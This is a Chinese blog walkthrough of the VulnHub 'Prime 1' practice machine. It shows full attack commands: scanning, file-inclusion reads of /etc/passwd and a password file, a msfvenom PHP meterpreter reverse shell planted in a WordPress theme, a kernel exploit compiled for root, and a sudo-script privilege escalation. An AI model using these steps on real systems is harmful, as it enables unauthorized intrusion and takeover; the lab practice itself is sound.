prime 1 靶场渗透测试

最新推荐文章于 2024-04-18 10:14:26 发布
最新推荐文章于 2024-04-18 10:14:26 发布
阅读量1k 收藏 28
点赞数 17
文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Jianmuhtb/article/details/131970024
版权

prime 1 靶场渗透测试

一、环境部署

靶机：prime1 下载地址：https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

攻击机：kali Linux2023.2

环境：VMware

网络：两机均为nat

二、信息收集

C段扫描

nmap 196.168.XX.1/24

端口扫描

nmap -sP 192.168.xx.xx

发现22，80端口为开放状态，访问http://192.168.48.131

发现网页内容为一张图片http://192.168.48.131/hacknpentest.png

查看http://192.168.48.131/robots.txt

wget http://192.168.48.131/hacknpentest.png
strings hacknpentest.png   //查看图片是否具有隐写信息
exiftool hacknpentest.png

<html>
<title>HacknPentest</title>
<body>
 <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" />
</body>

</html>

网页源代码也没有相关信息，发现图片没有隐写信息

三、目录爆破

dirb http://192.168.48.131
image-20230726181838255

访问http://192.168.48.131/dev

image-20230726182001901

提示需要进一步挖掘，于是尝试爆破特定文件

dirb http://192.168.48.131 -X .txt,.php,.rar,.zip,.tar

image-20230726182420316

找到3个界面：

  • http://192.168.48.131/image.php
  • http://192.168.48.131/index.php
  • http://192.168.48.131/secret.txt

分别访问

image-20230726183039476

四、参数爆破

提示使用FUZZ在已知的两个PHP页面进行参数爆破

wfuzz的默认字典位置：/usr/share/wfuzz/wordlist/

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hl 7 -u  http://192.168.48.131/image.php?FUZZ=location.txt

没有结果

image-20230726184310251

尝试另一个php:http://192.168.48.131/index.php

image-20230726184423676

找到参数：file

构造URL：http://192.168.48.131/index.php?file=location.txt

curl http://192.168.48.131/index.php?file=location.txt

image-20230726184714723

提示说secrettier360是另一个php的参数

构造：http://192.168.48.131/image.php?secrettier360=

提示参数正确：finaly you got the right parameter

五、文件泄露

尝试文件泄露漏洞：http://192.168.48.131/image.php?secrettier360=/etc/passwd

访问以上地址：成功，结果如下：

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false uuidd:x:107:111::/run/uuidd:/bin/false lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false whoopsie:x:109:117::/nonexistent:/bin/false avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false saned:x:119:127::/var/lib/saned:/bin/false usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false victor:x:1000:1000:victor,,,:/home/victor:/bin/bash mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false saket:x:1001:1001:find password.txt file in my directory:/home/saket: sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin

里面有一串提示：find password.txt file in my directory:/home/saket

http://192.168.48.131/image.php?secrettier360=/home/saket/password.txt

curl一下

image-20230726185826310

里面有一串：follow_the_ippsec，联想之前发现这个靶机部署了wordpress网站，或者说有没有可能是ssh的密码，先尝试ssh

image-20230726190205104

六、wordpress漏洞挖掘

尝试从wordpress入手

image-20230726190408611

wordpress版本是5.2.2，加上之前的apache2.4.18，搜索一下有没有漏洞

searchsploit wordpress 5.2
searchsploit apache 2.4

image-20230726190741809

image-20230726191009317

有漏洞，但是不会用。继续从wordpress入手

用wpscan对网站进行扫描

wpscan --url http://192.168.48.131/wordpress/ -eu  //eu挖掘网站用户

image-20230726191939329

找到一个用户：victor

结合之前的密码：follow_the_ippsec

尝试在http://192.168.48.131/wordpress/wp-login.php登录

image-20230726192157977

成功！

尝试插件栏里有没有文件上传漏洞http://192.168.48.131/wordpress/wp-admin/plugin-install.php

image-20230726192517328

并没有，难过，只能找其他了

发现主题编辑器里有一个php页面可写

image-20230726193040478

七、反弹连接shell

生成反弹连接木马

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.48.130 lport=4444 -o shell.php

image-20230726193348412

复制php代码到网页中的secret.php中并update

好的，php代码已经更新到靶机中了，怎么执行呢？

image-20230726193709993

构造url:http://192.168.48.131/wordpress/wp-content/themes/twentynineteen/secret.php

当然，执行之前记得先开启端口监听

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.48.130
lhost => 192.168.48.131
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.48.130   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
msf6 exploit(multi/handler) > exploit

在浏览器地址栏输入刚刚构造的url执行我们上传的secret.php

image-20230726204301358

连接成功

python优化回显

python -c 'import pty;pty.spawn("/bin/bash")'

操作一下：发现有一个enc文件，还有一个user.txt，但是并不会用，暂时搁置

www-data@ubuntu:/var/www/html/wordpress/wp-content/themes/twentynineteen$ sudo -l
<ml/wordpress/wp-content/themes/twentynineteen$ sudo -l                      
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
    (root) NOPASSWD: /home/saket/enc
www-data@ubuntu:/var/www/html/wordpress/wp-content/themes/twentynineteen$ cd /home/saket/
<ml/wordpress/wp-content/themes/twentynineteen$ cd /home/saket/              
www-data@ubuntu:/home/saket$ ls
ls
enc  password.txt  user.txt
www-data@ubuntu:/home/saket$ cat user.txt
cat user.txt
af3c658dcf9d7190da3153519c003456
www-data@ubuntu:/home/saket$ cd enc
cd enc
bash: cd: enc: Not a directory
www-data@ubuntu:/home/saket$ cat enc
cat enc
cat: enc: Permission denied
www-data@ubuntu:/home/saket$ sudo /home/saket/enc
sudo /home/saket/enc
enter password: af3c658dcf9d7190da3153519c003456
af3c658dcf9d7190da3153519c003456
www-data@ubuntu:/home/saket$ ls
ls
enc  password.txt  user.txt

八、内核漏洞提权

查看内核版本，寻找内核漏洞：

www-data@ubuntu:/home/saket$ uname -r
uname -r
4.10.0-28-generic

searchsploit linux 4.10

上传提权文件：（上传到/tmp的原因是任何用户对/tmp目录都具有读写权限）

upload /usr/share/exploitdb/exploits/linux/local/45010.c /tmp/45010.c

gcc 45010.c -o 45010
ls
42136.c
43345
43345.c
45010
45010.c
VMwareDnD
systemd-private-0e17a1cdd0484c2cb056cf711d2f2ea5-colord.service-YPzF2p
systemd-private-0e17a1cdd0484c2cb056cf711d2f2ea5-rtkit-daemon.service-YRRtS8
systemd-private-0e17a1cdd0484c2cb056cf711d2f2ea5-systemd-timesyncd.service-FzfPXv
vmware-root
chmod +x 45010
./45010
whoami
root   //提权成功

cd /root
ls
enc
enc.cpp
enc.txt
key.txt
root.txt
sql.py
t.sh
wfuzz
wordpress.sql
whoami
root
cat root.txt
b2b17036da1de94cfb024540a8e7075a   //获得flag

九、另一种解法，AES解密

利用/home/saket/目录下的en加密文件解密之后来解

./enc
//提示需要密码
密码哪里找呢？尝试用
find / -name "*backup*" 2>/dev/null | less | sort

找到一个看起来像的：/opt/backup/server_database/backup_pass

看一下

cat /opt/backup/server_database/backup_pass
//得到一个密码：
your password for backup_database file enc is 

"backup_password"

./enc 输入backup_password，成功解密，得到enc.txt和key.txt，那必然是密文和密钥

密文：“nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=”

密钥：“366a74cb3c959de17d61db30591c39d1”

明文："Dont worry saket one day we will reach to
our destination very soon. And if you forget
your username then use your old password
==> “tribute_to_ippsec”

Victor,"

image-20230727123556506

使用saket:tribute_to_ippsec登录

然后sudo -l 查看可执行的root权限命令

$ sudo -l
Matching Defaults entries for saket on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User saket may run the following commands on ubuntu:
    (root) NOPASSWD: /home/victor/undefeated_victor
$ sudo /home/victor/undefeated_victor
if you can defeat me then challenge me in front of you
/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found  //提示创建/tmp/challenge

$ echo '#!/bin/bash' > challenge
$ echo '/bin/bash' >> challenge
$ chmod +x challenge
$ sudo /home/victor/undefeated_victor
if you can defeat me then challenge me in front of you
root@ubuntu:/tmp# whoami
root
root@ubuntu:/tmp# cd /root
root@ubuntu:/root# ls
enc  enc.cpp  enc.txt  key.txt  root.txt  sql.py  t.sh  wfuzz  wordpress.sql
root@ubuntu:/root# cat root.txt
b2b17036da1de94cfb024540a8e7075a
//提权成功，得到flag

$ echo ‘/bin/bash’ >> challenge
$ chmod +x challenge
$ sudo /home/victor/undefeated_victor
if you can defeat me then challenge me in front of you
root@ubuntu:/tmp# whoami
root
root@ubuntu:/tmp# cd /root
root@ubuntu:/root# ls
enc enc.cpp enc.txt key.txt root.txt sql.py t.sh wfuzz wordpress.sql
root@ubuntu:/root# cat root.txt
b2b17036da1de94cfb024540a8e7075a
//提权成功，得到flag
Jianmuhtb
关注
  • 17
    点赞
  • 踩
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Vulnhub | 实战靶场渗透测试 - PRIME: 1
尼泊罗河伯的博客
06-01 1666
这台机器是为那些试图准备 OSCP 或 OSCP 考试的人设计的。这是素数系列的第一级。在每个阶段都会提供一些帮助。机器很长，因为 OSCP 和黑客的机器是设计的。因此，您有一个获取根标志和用户标志的目标。如果卡在某个点上，则会在枚举级别上提供一些帮助。
【vulnhub靶场】PRIME:1打靶过程记录
didiplus
07-17 2867
最近发现一个很有趣的靶场集合，里面涵盖了一些基本的漏洞，我们通过漏洞复现。了解一些网络安全的一些基本操作。
靶机渗透之Prime1
qi_qi14的博客
07-13 231
找到目标靶机ip地址为192.168.133.140 发现有两个开放端口 分别为22端口和80端口 端口UDP扫描 漏洞脚本扫描 访问靶机80端口 访问得到 sudo curl http://192.168.133.140/secret.txt Looks like you have got some secrets.Ok I just want to do some help to you.Do some more fuzz on every page of php which was finde
prime1主机渗透
w1157673482的博客
03-01 512
prime1主机渗透
红队打靶：Prime1详细打靶思路之模糊测试+内核提权（vulnhub）
Bossfrank的博客
06-11 1554
本篇博客详述了vulnhub靶机prime1的打靶思路过程，并非简单复现writeup。打靶过程涉及到关于模糊测试及wfuzz工具的使用、文件包含漏洞利用、wordpress CMS、内核漏洞提权。有关OpenSSH渗透的方法将在下一篇博客中详述。
打靶：vulnhub中的Prime1
qq_73865998的博客
04-18 1509
复现视频：【「红队笔记」靶机精讲：Prime1 - 信息收集和分析能力的试炼，试试吧，按图索骥！
vuInhub靶场实战系列-prime:2
最新发布
06-08
vuInhub靶场实战系列-prime:2
vuInhub靶场实战系列-prime:1
06-05
vuInhub靶场实战系列-prime:1
Prime95烤机测试软件
10-20
Prime95是一款运行于...Prime95的另外一个作用是用于测试计算机系统的稳定性。由于该软件需要进行大量的运算工作，所以可以有效的测试计算机系统的稳定性。在许多的测试中被使用。p95还可以用来测试降压超频CPU稳定性
E-Prime音频控件使用简单测试
08-09
在这个名为“E-Prime音频控件使用简单测试”的项目中，我们将探讨如何在E-Prime 2.0版本中有效地操作和配置音频控件。 首先，我们要了解E-Prime中的音频控件基本概念。音频控件允许研究人员播放、暂停、停止和控制...
prime-number-1.zip_prime
09-21
标题中的"prime-number-1.zip_prime"提示我们这个压缩包主要关注的是与素数相关的主题。素数是数学中一个非常基础且重要的概念，它是指大于1且仅能被1和自身整除的自然数，比如2、3、5、7、11等。在密码学、计算机...
prime1(超超详细)
zzf011900的博客
12-13 1093
不知道用户名，可以通过wpscan来扫描用户名，首先安装cmseek,wpscan专门扫描wordpress 的cms，使用wpscan --url http://192.168.59.164/wordpress/ --enumerate u 扫描(–enumerate选项来扫描并发现关于目标站点主题、插件和用户名信息。将 find 的输出传递给 less 可以让你在终端中更方便地查看找到的文件的路径。2>/dev/null: /dev/null 是一个特殊的文件，它的作用是丢弃所有写入它的数据。
vulnhub靶场-Prime1
ad12456的博客
03-30 2844
靶场练习，
pentest 渗透测试 nginx配置
海米一枚
12-21 1241
场景：部分系统服务器端返回的HTTP头中，泄露了服务器采用的中间件信息（类型，版本）nginx，apache，攻击者可以缩小攻击范围，针对中间件存在的漏洞发起攻击 修改：ngixn/bin/nginx.conf中在http或者server中添加如下配置 server_tokens off; ...
kali-vulnhub:prime1
curme_miller的博客
01-22 3223
1.使用virtualbox打开后出现如下界面： 2.主要思路如下： 3.发现主机IP $ nmap -sP 192.168.0.1/24 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-22 08:50 EST Nmap scan report for 192.168.0.1 Host is up (0.0039s latency). Nmap scan report for 192.168.0.101 Host is up
vulnhub - Prime 1 （考点：信息搜集 & LFI &WordPress安全& linux ubantu提权）
冬萍子癸水
04-25 364
https://www.vulnhub.com/entry/prime-1,358/ nat网络 arp-scan -l 比平常扫出来多的ip就是靶机了 nmap 很常规80想到进web搜集信息，22想到可能有ssh登录 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu...
linux常用命令之用户权限命令
Dawn的博客
08-17 1774
复习整理一下用户权限常用命令 不需要死记硬背，对于常用命令，用的多了，自然就记住了 不要尝试一次学会很多命令，有些命令是非常不常用的，临时遇到，临时问度娘就可以了 学习目标 用户和权限的基本概念 用户管理终端命令 组管理终端命令 修改权限终端命令 01. 用户和权限的基本概念 1.1 基本概念 用户是linux系统工作中重要的一环，用户管理包括用户与组管理 在linux系统中，不论是由本机或是远程登录系统，每个系统都必须拥有一个账号，并且对于不同的系统资源拥有不同的使用权限 在linux中，可以指
渗透测试练习靶场hackthebox——Starting Point Oopsie攻略
TF0xn的博客
09-18 3353
目录连接配置扫描 连接配置 见这篇文章，在此不再赘述 扫描 根据给出的IP地址，使用nmap进行扫描 nmap -sS -F -sV 10.10.10.28 -sS：半开扫描，Nmap发送SYN包到远程主机，不建立完整的三次握手 -F：快速扫描，扫描一些常用端口 -sV：探测开启的端口来获取服务、版本信息 如图所示，发现其开放了22和80端口，接下来我们用浏览器进入网站（10.10.10.28:80）进行检查 ...
int is_prime=1；
07-15
这段代码声明了一个名为 `is_prime` 的整型变量，并将其初始化为 1。通常情况下，我们用来表示布尔值的变量名会使用 `bool`型，而不是整型。但是，由于 C 语言没有原生的布尔类型，因此可以使用整型变量来表示布尔值，其中 0 表示假（false），非零值表示真（true）。在这种情况下，`is_prime` 的值为 1，表示它是一个素数的标志。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值